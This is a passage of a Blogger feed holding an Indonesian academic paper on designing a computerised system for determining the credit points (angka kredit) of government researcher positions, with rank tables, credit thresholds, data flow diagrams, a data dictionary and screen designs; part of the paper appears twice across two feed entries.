href="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX3-R79sMI/AAAAAAAAABo/DkFtWnqV3Fg/s1600-h/jabatan-gbr6.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX3-R79sMI/AAAAAAAAABo/DkFtWnqV3Fg/s400/jabatan-gbr6.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265601287925954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 6. Rancangan masukan Bio-data Pejabat Peneliti&lt;br /&gt;&lt;br /&gt;b. Rancangan masukan Perolehan Angka Kredit&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX4Gh79sNI/AAAAAAAAABw/tWhklZFN9QU/s1600-h/jabatan-gbr7.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX4Gh79sNI/AAAAAAAAABw/tWhklZFN9QU/s400/jabatan-gbr7.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265743021846738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gambar 7. Rancangan masukan perolehan angka kredit pejabat peneliti&lt;br /&gt;&lt;br /&gt;Selain rancangan masukan, diperlukan juga rancangan keluaran yang akan ditampilkan ke printer atau ke layar komputer. Rancangan keluaran harus dibuat dan didesain dengan baik sesuai kebutuhan pemakai. Contoh rancangan keluaran dapat dilihat pada gambar 8 dan gambar 9&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX4NB79sOI/AAAAAAAAAB4/PEIDy72YJzs/s1600-h/jabatan-gbr8.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX4NB79sOI/AAAAAAAAAB4/PEIDy72YJzs/s400/jabatan-gbr8.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265854690996450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 8. Rancangan keluaran Bio-data peneliti berdasarkan NIP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX4Xh79sPI/AAAAAAAAACA/hG749Uu1HzY/s1600-h/jabatan-gbr9.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX4Xh79sPI/AAAAAAAAACA/hG749Uu1HzY/s400/jabatan-gbr9.GIF" alt="" id="BLOGGER_PHOTO_ID_5113266035079622898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 9 Rancanagan keluaran Perolehan Angka Kredit jabatan peneliti berdasarkan NIP&lt;br /&gt;&lt;br /&gt;Kemudahan penggunaan program merupakan salah satu aspek dalam perancangan. Gunanya agar user dengan mudah dapat menjalankannya, kemudahan ini dapat dibantu dengan user interface. User interface dirancang dengan mengelompokkan fungsi-fungsi yang sejenis dalam satu sub-menu pulldown. Struktur menu dari Sistem Pemrosesan Angka Kredit Jabatan Peneliti dapat dilihat pada gambar 10&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX4cR79sQI/AAAAAAAAACI/qLcWFLEq2ek/s1600-h/jabatan-gbr10.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX4cR79sQI/AAAAAAAAACI/qLcWFLEq2ek/s400/jabatan-gbr10.GIF" alt="" id="BLOGGER_PHOTO_ID_5113266116684001538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 10 Struktur Menu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Penutup&lt;br /&gt;Hasil observasi terhadap sistem pemrosesan angka kredit bagi jabatan peneliti, dapat disimpulkan bahwa perlu adanya sistem yang berbasis komputer, sehingga pemasukan, pengolahan, penyimpanan, dan pencarian data dapat dilakukan dengan cepat, termasuk pembuatan laporan.&lt;br /&gt;Untuk merealisasikan adanya sistem berbasis komputer, perlu dibuat diagram alir dokumen, sehingga dapat diketahui entitas yang terlibat; diagram konteks sistem untuk mengetahui hubungan antar entitas sumber, proses, dan entitas tujuan, hal ini memudahkan dalam melihat sistem yang akan dirancang secara global; diagram aliran data untuk mengetahui data yang mengalir dari entitas awal ke proses, data dari proses ke entitas tujuan, data dari proses ke proses, dan data dari proses ke file, begitu juga sebaliknya; diagram relasi entitas untuk mengetahui relasi antar file, termasuk kardinalitasnya apakah satu ke satu, satu ke banyak atau banyak ke banyak; struktur file; struktur menu dan struktur program, semuanya ini dilakukan dengan maksud untuk memudahkan dalam tahap implementasi.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5268514012556433429-3205830171754874952?l=adingresik.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://adingresik.blogspot.com/feeds/3205830171754874952/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5268514012556433429&amp;postID=3205830171754874952' title='6 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3205830171754874952'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5268514012556433429/posts/default/3205830171754874952'/><link rel='alternate' type='text/html' href='http://adingresik.blogspot.com/2007/09/perancangan-sistem-informasi.html' title='Perancangan Sistem Informasi'/><author><name>ITB - D4</name><uri>http://www.blogger.com/profile/16945922430998191222</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX1wh79sHI/AAAAAAAAABA/afDRTg2XA7Q/s72-c/jabatan-gbr1.GIF' height='72' width='72'/><thr:total>6</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5268514012556433429.post-3540913052234567990</id><published>2007-09-22T22:09:00.000-07:00</published><updated>2007-09-22T22:26:24.394-07:00</updated><title type='text'></title><content type='html'>Perancangan Sistem Informasi Penentuan Angka Kredit Jabatan Fungsional Peneliti&lt;br /&gt;&lt;br /&gt;Perancangan Sistem Informasi Penentuan Angka Kredit Jabatan Fungsional Peneliti&lt;br /&gt;&lt;br /&gt;Engkos Koswara Natakusumah&lt;br /&gt;&lt;br /&gt;Abstact&lt;br /&gt;Aim of the research is to design information system for Penetapan Angka Kredit (PAK) of functional researcher grade based on computerised system. This system produces a report of PAK, and has facilities for data entry and searching, so that, it produces information: accuracy, timelines, and relevancy. This research uses paradigm of system development life cycle, which covers the activities of gathering data through observation, interview, and literature study; system analysis uses flow map; system design uses context diagram, data flow diagram, data dictionary, entity relationship diagram, file relationship, file structure, program structure, input design, output design and menu structure.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Abstrak&lt;br /&gt;&lt;br /&gt;Tujuan penelitian adalah merancang sistem informasi Penetapan Angka Kredit (PAK) untuk jabatan peneliti yang berbasis komputer; sehingga dapat memudahkan dalam membuat laporan penentuan angka kredit, memudahkan pemasukan dan pencarian data sehingga dapat menghasilkan informasi yang akurat, tepat waktu dan relevan. Penelitian menggunakan paradigma siklus hidup pengembangan sistem, meliputi tahapan pengumpulan data dengan observasi, wawancara dan studi pustaka; analisis sistem dengan aliran dokumen; perancangan sistem menggunakan diagram konteks, diagram aliran data, kamus data, diagram relasi entitas, relasi antar file, struktur file, struktur program, sancangan masukan, rancangan luaran, dan struktur menu.&lt;br /&gt;&lt;br /&gt;1. Pendahuluan&lt;br /&gt;Penelitian adalah suatu kegiatan penyelidikan yang dilakukan menurut metode ilmiah yang sistematik untuk menemukan informasi ilmiah dan atau teknologi yang baru, membuktikan kebenaran atau ketidak benaran hipotesa sehingga dapat dirumuskan teori dan atau proses gejala alam dan atau sosial. Hasil penelitian kemudian di publikasi untuk mendapatkan atau meningkatkan jabatan peneliti. Jabatan peneliti adalah kedudukan yang menunjukkan tugas, tanggung jawab, wewenang, dan hak seorang pejabat peneliti dalam suatu satuan organisasi penelitian dan pengembangan. Pejabat peneliti adalah Pegawai Negeri Sipil yang setelah memenuhi syarat-syarat yang ditentukan, diangkat oleh pejabat yang berwenang dalam suatu tingkat jabatan peneliti dan dipekerjakan pada suatu satuan organisasi penelitian dan pengembangan dengan tugas pokok melakukan penelitian dan pengembangan. Pengembangan adalah kegiatan tindak lanjut penelitian untuk mendapatkan informasi tentang cara mempergunakan teori, dan atau proses, untuk tujuan praktis (1). Hasil penelitian dan pengembangan yang akan di hitung angka kredit penelitinya harus disampaikan ke P2JP, P2JP mengolah Penetapan angka kredit bagi para peneliti di Indonesia. Penentuan PAK dilakukan melalui beberapa proses yang dapat dilihat pada Gambar 1.&lt;br /&gt;Penelitian bertujuan untuk merancang sistem informasi Penetapan Angka Kredit (PAK) untuk Jabatan Peneliti berbasis komputer; sehingga dapat memudahkan dalam membuat laporan penentuan angka kredit, memudahkan pemasukan dan pencarian data sehingga dapat menghasilkan informasi yang akurat, tepat waktu dan relevan. Penelitian menggunakan paradigma System Development Life Cycle (2), meliputi tahapan pengumpulan data dengan observasi, wawancara, dan studi pustaka; Analisis sistem dengan flow map; perancangan sistem dengan menggunakan diagram konteks, DFD, kamus data, ERD, relasi antar file, struktur file, struktur program, rancangan masukan, rancangan luaran, dan struktur menu.&lt;br /&gt;&lt;br /&gt;2. Pengumpulan Data dan Analisis Sistem&lt;br /&gt;Pengumpulan data dilakukan melalui observasi dan wawancara dengan petugas di P2JP LIPI. Selain itu dilakukan juga studi literatur yang berhubungan dengan jabatan peneliti, seperti pengertian jabatan peneliti, perolehan jabatan peneliti, jenjang peneliti, perhitungan angka kredit, unsur yang dinilai, tata cara pengajuan angka kredit, tata cara penilaian, dll.&lt;br /&gt;Analisis sistem ditujukan untuk menganalisis sistem yang sedang berjalan, sehingga dapat dipahami keadaan sistem yang ada, analisis ini biasanya menggunakan diagram alir dokumen. Aliran dokumen dari satu bagian ke bagian lain dapat terlihat dengan jelas, begitu juga adanya penyimpan data, yang dilakukan secara manual. Analisis dilakukan juga pada proses Penetapan Angka Kredit Jabatan Penelitian yang biasa dilakukan. Hasil analisis ini kemudian digunakan untuk merancang sistem informasi yang diperlukan.&lt;br /&gt;&lt;br /&gt;Pengertian Jabatan Peneliti di jelaskan dalam Surat Edaran Bersama Kepala Badan Administrasi Kepegawaian Negara dan Ketua Lembaga Ilmu Pengetahuan Indonesia Nomor 15/SE/1982 dan Nomor 704/KEP/J.10/1982 tanggal 27 Oktober 1982 (1). Urutan jabatan peneliti adalah sebagai berikut: Asisten Peneliti Muda, Asisten Peneliti Madya, Ajun Peneliti Muda, Ajun Peneliti Madya, Peneliti Muda, Peneliti Madya, Ahli Peneliti Muda, Ahli Peneliti Madya, dan Ahli Peneliti Utama.&lt;br /&gt;Jenjang Pangkat Jabatan Peneliti adalah sebagai berikut:&lt;br /&gt;Tabel 1. Jenjang Pangkat Peneliti&lt;br /&gt;Jabatan Peneliti    Pangkat dan Golongan Ruang&lt;br /&gt;Asisten Peneliti Muda    Penata Muda, Golongan Ruang III/a&lt;br /&gt;Asisten Peneliti Madya    Penata Muda Tingkat I, Golongan Ruang III/b&lt;br /&gt;Ajun Peneliti Muda    Penata, Golongan Ruang III/c&lt;br /&gt;Ajun Peneliti Madya    Penata Tingkat I, Golongan Ruang III/d&lt;br /&gt;Peneliti Muda    Pembina, Golongan Ruang IV/a&lt;br /&gt;Peneliti Madya    Pembina Tingkat I, Golongan Ruang IV/b&lt;br /&gt;Ahli Peneliti Muda    Pembina Utama Muda, Golongan Ruang IV/c&lt;br /&gt;Ahli Peneliti Madya    Pembina Utama Madya, Golongan Ruang IV/d&lt;br /&gt;Ahli Peneliti Utama    Pembina Utama, Golongan Ruang IV/e&lt;br /&gt;&lt;br /&gt;Untuk dapat diangkat dalam jabatan peneliti, seorang Pegawai Negeri Sipil harus memenuhi angka kredit yang ditentukan dan mempunyai tugas pokok melakukan penelitian dan pengembangan dan bekerja pada satuan organisasi penelitian dan pengembangan. Jumlah angka kredit kumulatif minimal yang harus dipenuhi oleh seorang Pegawai Negeri Sipil untuk dapat diangkat menjadi pejabat peneliti adalah sebagaimana dimaksud dalam lampiran II Keputusan Menteri Negara Penertiban Aparatur Negara Nomor 01/MENPAN/1983, yaitu:&lt;br /&gt;(1) Asisten Peneliti Muda    = 100 angka kredit&lt;br /&gt;(2) Asisten Peneliti Madya    = 150 angka kredit&lt;br /&gt;(3) Ajun Peneliti Muda    = 200 angka kredit&lt;br /&gt;(4) Ajun Peneliti Madya    = 300 angka kredit&lt;br /&gt;(5) Peneliti Muda    = 400 angka kredit&lt;br /&gt;(6) Peneliti Madya    = 550 angka kredit&lt;br /&gt;(7) Ahli Peneliti Muda    = 700 angka kredit&lt;br /&gt;(8) Ahli Peneliti Madya    = 850 angka kredit&lt;br /&gt;(9) Ahli Peneliti Utama    = 1000 angka kredit&lt;br /&gt;&lt;br /&gt;Jumlah angka kredit tersebut di atas, harus terdiri dari:&lt;br /&gt;(1) Sekurang-kurangnya 70% (tujuh puluh persen) berasal dari unsur-unsur utama, karya tulis ilmiah, dan atau pemacuan teknologi (lihat Tabel 2).&lt;br /&gt;(2) Sebanyak-banyaknya 30% (tiga puluh persen berasal dari unsur-unsur penunjang, yaitu pemasyarakatan ilmu dan teknologi, keikutsertaan dalam kegiatan ilmiah, pembinaan kader ilmiah, dan atau penghargaan ilmiah&lt;br /&gt;(3) Angka kredit dari unsur kriteria karya tulis ilmiah yang diterbitkan sekurang-kurangnya harus sama dengan jumlah angka kredit dari unsur kriteria karya tulis ilmiah yang belum dan atau tidak diterbitkan.&lt;br /&gt;(4) Untuk dapat diangkat sebagai Ahli Peneliti seorang Pegawai Negeri Sipil wajib memiliki angka kredit dari unsur kriteria karya tulis ilmiah hasil penelitian yang diterbitkandan atau disajikan dalam pertemuan ilmiah dan atau dalam pemacuan teknologi sekurang-kurangnya sebesar 30%(tiga puluh persen) yang di tulis /dibuatnya sendiri atau bersama dengan pejabat peneliti lain, dengan ketentuan ia sebagai penulis/pembuat utamanya.&lt;br /&gt;(5) Apabila suatu karya tulis ilmiah atau pemacuan teknologi atau pemasyarakatan ilmu dan teknologi atau keikutsertaan dalam kegiatan ilmiah ditulis oleh lebih dari seorang, maka pembagian angka kreditnya ditetapkan 60%(enam puluh persen) bagi penulis utama dan 40% (empat puluh persen) bagi semua penulis pembantu.&lt;br /&gt;(6) Apabila kriteria yang dipergunakan dalam penilaian berubah maka yang diperhitungkan hanya selisih angka kreditnya.&lt;br /&gt;(7) Angka kredit dari unsur kriteria pendidikan bergelar hanya diperhitungkan satu kali dan yang dinilai ialah pendidikan tertinggi.&lt;br /&gt;(8) Apabila Pegawai Negeri Sipil memperoleh pendidikan yang lebih tinggi setelah ia diangkat dalam jabatan peneliti, maka yang diperhitungkan hanyalah selisih angka kredit antara pendidikan yang diperoleh sebelumnya dengan pendidikan yang lebih tinggi itu (1).&lt;br /&gt;Untuk membantu analisis sistem yang berjalan maka dibuat flow map atau bagan alir dokumen, seperti telihat pada Gambar 1.&lt;br /&gt;&lt;br /&gt;Tabel 2. Angka kredit yang harus dipenuhi oleh pejabat peneliti&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX1wh79sHI/AAAAAAAAABA/afDRTg2XA7Q/s1600-h/jabatan-gbr1.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 485px; height: 248px;" src="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX1wh79sHI/AAAAAAAAABA/afDRTg2XA7Q/s320/jabatan-gbr1.GIF" alt="" id="BLOGGER_PHOTO_ID_5113263166041469042" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gambar 1 Flow Map Sistem P2JP yang sedang berjalan&lt;br /&gt;&lt;br /&gt;Keterangan:&lt;br /&gt;1 = dokumen usulan dari Instansi peneliti&lt;br /&gt;2 = pembuatan disposisi ketua LIPI&lt;br /&gt;3 = dokumen yang sudah di disposisi oleh Ketua LIPI&lt;br /&gt;4 = pembuatan disposisi kepala P2JP&lt;br /&gt;5 = dokumen yang sudah di disposisi oleh kepala P2JP&lt;br /&gt;6 = pembuatan disposisi kepala Biro Organisasi dan Pengawasan&lt;br /&gt;7 = dokumen yang sudah di disposisi oleh kepala BOP&lt;br /&gt;8 = pembuatan disposisi kepala bagian jabatan fungsional&lt;br /&gt;9 = dokumen yang sudah di disposisi oleh kepala bagian jabatan fungsional&lt;br /&gt;10 = mengecek kelengkapan berkas&lt;br /&gt;11 = berkas yang lengkap, yang tidak lengkap dikembalikan ke Instansi pengusul&lt;br /&gt;12 = membuat kelengkapan untuk pengiriman berkas&lt;br /&gt;13 = berkas dan dokumen yang lengkap&lt;br /&gt;14 = penilaian berkas dan dokumen&lt;br /&gt;15 = hasil penilaian&lt;br /&gt;16 = pembuatan disposisi hasil penilaian&lt;br /&gt;17 = dokumen hasil penilaian&lt;br /&gt;18 = persiapan sidang&lt;br /&gt;19 = dokumen kelengkapan sidang&lt;br /&gt;20 = sidang P2JP&lt;br /&gt;21 = hasil sidang P2JP dan berupa format PAK&lt;br /&gt;22 = pengesahan PAK oleh Ketua LIPI&lt;br /&gt;23 = PAK yang sudah disahkan oleh Ketua LIPI&lt;br /&gt;24 = pembuatan surat pengantar PAK&lt;br /&gt;25 = surat pengantar lengkat dengan PAK&lt;br /&gt;26 = surat pengantar dari BOP lengkap dengan PAK&lt;br /&gt;27 = surat pengantar dari BOP lengkap dengan PAK&lt;br /&gt;28 = arsip surat pengatar dan PAK&lt;br /&gt;&lt;br /&gt;3. Perancangan Sistem Informasi&lt;br /&gt;&lt;br /&gt;Berdasarkan hasil analisis sistem kemudian dibuat rancangan sistemnya, meliputi: Diagram Konteks, Data Flow Diagram, Entity Relantionship Diagram (ERD), Relasi antar File, Struktur File, Struktur Program, Struktur Menu, Format Masukan dan Format Luaran.&lt;br /&gt;Diagram konteks menggambarkan suatu sistem informasi secara global, termasuk aliran data dari masukan (input) ke proses kegiatan (sistem), dari proses ke proses, dan dari proses ke luaran (output) menjadi sebuah informasi yang terpadu.&lt;br /&gt;Data Flow Diagram merupakan alat pemodelan dari proses analisis kebutuhan perangkat lunak. Dalam DFD dibahas fungsi-fungsi apa saja yang diperlukan oleh suatu sistem dan aliran data yang terdapat diantara proses di dalamnya. DFD berguna sebagai alat untuk memverifikasikan apakah sistem yang akan dibangun sudah memenuhi kriteria yang diinginkan oleh user atau belum. Data flow diagram dapat dikembangkan dari level yang paling rendah ke level yang lebih tinggi. DFD level 0 merupakan pengembangan dari diagram konteks, DFD level 1 merupakan pengembangan dari DFD level 0. Tiap proses dari DFD dapat dikembangkan lagi menjadi lebih detail sampai proses-proses tersebut tidak dapat dikembangkan lagi. Adapun Data Flow Diagram yang dari Sistem Pemrosesan Angka Kredit (PAK) bagi jabatan peneliti dapat dilihat pada Gambar 2 (DFD Level 0), Gambar 3 (DFD level 1 poses 1) , dan Gambar 4 (DFD level 1 proses 2).&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX2zR79sII/AAAAAAAAABI/lhKE7ccmtFc/s1600-h/jabatan-gbr2.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX2zR79sII/AAAAAAAAABI/lhKE7ccmtFc/s400/jabatan-gbr2.GIF" alt="" id="BLOGGER_PHOTO_ID_5113264312797737090" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gambar 2. Data Flow Diagram Level&lt;br /&gt;Keterangan : A = Biodata Peneliti; B = Data Penelitian; C = Data Jabatan;&lt;br /&gt;D = Data Golongan; E = Data AKJP; F = Laporan&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX3Ih79sJI/AAAAAAAAABQ/X6LE6Sq2Bjc/s1600-h/jabatan-gbr3.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX3Ih79sJI/AAAAAAAAABQ/X6LE6Sq2Bjc/s400/jabatan-gbr3.GIF" alt="" id="BLOGGER_PHOTO_ID_5113264677869957266" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gambar 3. Data Flow Diagram Level 1 Proses 1&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX3eB79sKI/AAAAAAAAABY/NR9VENQigME/s1600-h/jabatan-gbr4.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX3eB79sKI/AAAAAAAAABY/NR9VENQigME/s400/jabatan-gbr4.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265047237144738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 4. Data Flow Diagram Level 1 Proses 2&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX3sB79sLI/AAAAAAAAABg/0kGVPh3GSJ8/s1600-h/jabatan-gbr5.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX3sB79sLI/AAAAAAAAABg/0kGVPh3GSJ8/s400/jabatan-gbr5.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265287755313330" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Kamus Data meliputi:&lt;br /&gt;a) Biodata peneliti : Nip, Nama, J_kelamin, Alamat, kota, kode pos, Telp, Agama, Tanggal Pak, Pendidikan.&lt;br /&gt;b) Data Penelitian : Nip, kode penelitian&lt;br /&gt;c) Data Jabatan : Nip, Angka kredit unsur utama, Angka kredit unsur penunjang, Angka kredit karya tulis ilmiah atau Angka kredit pemacuan teknologi.&lt;br /&gt;d) Data Golongan : Kode golongan, Pangkat, Jabatan.&lt;br /&gt;e) Data AKJP : Kode AKJP, Unsur, Sub unsur, Butir, Angka kredit (Unsur = Pendidikan, Karya tulis ilmiah, Pemacuan teknologi, Pemasyarakatan ilmu dan teknologi, Keikut sertaan dalam kegiatan ilmiah, Pembinaan kader ilmiah, Penghargaan ilmiah).&lt;br /&gt;f) Pembuatan laporan: Laporan peneliti (nip, jenis kelamin, agama, pendidikan, semua data), Laporan perolehan angka kredit (nip, semua data), Laporan perolehan jabatan (nip, golongan, semua data).&lt;br /&gt;&lt;br /&gt;Relasi antar file/data base merupakan hubungan yang terjadi antara satu file dengan file yang lain, yang dihubungan dengan suatu kata kunci (key). Hubungan antar file dari Sistem Pemrosesan Angka Kredit bagi Jabatan Peneliti dapat dilihat pada gambar 5&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Gambar 5. Relasi antar file&lt;br /&gt;&lt;br /&gt;Rancangan masukan merupakan tampilan data yang dirancang untuk menerima masukan data dari user sebagai petugas data entry. Rancangan masukan ini harus dapat memberikan kejelasan bagi pemakai, baik dari bentuknya maupun dari masukan-masukan data yang akan diinput. Adapun rancangan masukan dalam Sistem Penetapan Angka Kredit ini ada 2 yaitu rancangan masukan Bio-data dan rancangan masukan perolehan angka kredit. Rancangan masukan bio-data dapat dilihat pada gambar 6 dan rancangan masukan angka kredit jabatan peneliti dapat dilihat pada gambar 7.&lt;br /&gt;&lt;br /&gt;a. Rancangan masukan Biodata&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX3-R79sMI/AAAAAAAAABo/DkFtWnqV3Fg/s1600-h/jabatan-gbr6.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX3-R79sMI/AAAAAAAAABo/DkFtWnqV3Fg/s400/jabatan-gbr6.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265601287925954" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 6. Rancangan masukan Bio-data Pejabat Peneliti&lt;br /&gt;&lt;br /&gt;b. Rancangan masukan Perolehan Angka Kredit&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX4Gh79sNI/AAAAAAAAABw/tWhklZFN9QU/s1600-h/jabatan-gbr7.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX4Gh79sNI/AAAAAAAAABw/tWhklZFN9QU/s400/jabatan-gbr7.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265743021846738" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Gambar 7. Rancangan masukan perolehan angka kredit pejabat peneliti&lt;br /&gt;&lt;br /&gt;Selain rancangan masukan, diperlukan juga rancangan keluaran yang akan ditampilkan ke printer atau ke layar komputer. Rancangan keluaran harus dibuat dan didesain dengan baik sesuai kebutuhan pemakai. Contoh rancangan keluaran dapat dilihat pada gambar 8 dan gambar 9&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX4NB79sOI/AAAAAAAAAB4/PEIDy72YJzs/s1600-h/jabatan-gbr8.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_eTjLkcqj9WM/RvX4NB79sOI/AAAAAAAAAB4/PEIDy72YJzs/s400/jabatan-gbr8.GIF" alt="" id="BLOGGER_PHOTO_ID_5113265854690996450" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 8. Rancangan keluaran Bio-data peneliti berdasarkan NIP&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX4Xh79sPI/AAAAAAAAACA/hG749Uu1HzY/s1600-h/jabatan-gbr9.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_eTjLkcqj9WM/RvX4Xh79sPI/AAAAAAAAACA/hG749Uu1HzY/s400/jabatan-gbr9.GIF" alt="" id="BLOGGER_PHOTO_ID_5113266035079622898" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 9 Rancanagan keluaran Perolehan Angka Kredit jabatan peneliti berdasarkan NIP&lt;br /&gt;&lt;br /&gt;Kemudahan penggunaan program merupakan salah satu aspek dalam perancangan. Gunanya agar user dengan mudah dapat menjalankannya, kemudahan ini dapat dibantu dengan user interface. User interface dirancang dengan mengelompokkan fungsi-fungsi yang sejenis dalam satu sub-menu pulldown. Struktur menu dari Sistem Pemrosesan Angka Kredit Jabatan Peneliti dapat dilihat pada gambar 10&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX4cR79sQI/AAAAAAAAACI/qLcWFLEq2ek/s1600-h/jabatan-gbr10.GIF"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_eTjLkcqj9WM/RvX4cR79sQI/AAAAAAAAACI/qLcWFLEq2ek/s400/jabatan-gbr10.GIF" alt="" id="BLOGGER_PHOTO_ID_5113266116684001538" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Gambar 10 Struktur Menu&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. Penutup&lt;br /&gt;Hasil observasi terhadap sistem pemrosesan angka kredit bagi jabatan peneliti, dapat disimpulkan bahwa perlu adanya sistem yang berbasis komputer, sehingga pemasukan, pengolahan, penyimpanan, dan pencarian data dapat dilakukan dengan cepat, termasuk pembuatan laporan.&lt;br /&gt;Untuk merealisasikan adanya sistem berbasis komputer, perlu dibuat diagram alir dokumen, sehingga dapat diketahui entitas yang terlibat; diagram konteks sistem untuk mengetahui hubungan antar entitas sumber, proses, dan entitas tujuan, hal ini memudahkan dalam melihat sistem yang akan dirancang secara global; diagram aliran data untuk mengetahui data yang mengalir dari entitas awal ke proses, data dari proses ke entitas tujuan, data dari proses ke proses, dan data dari proses ke file, begitu juga sebaliknya; diagram relasi entitas untuk mengetahui relasi antar file, termasuk kardinalitasnya apakah satu 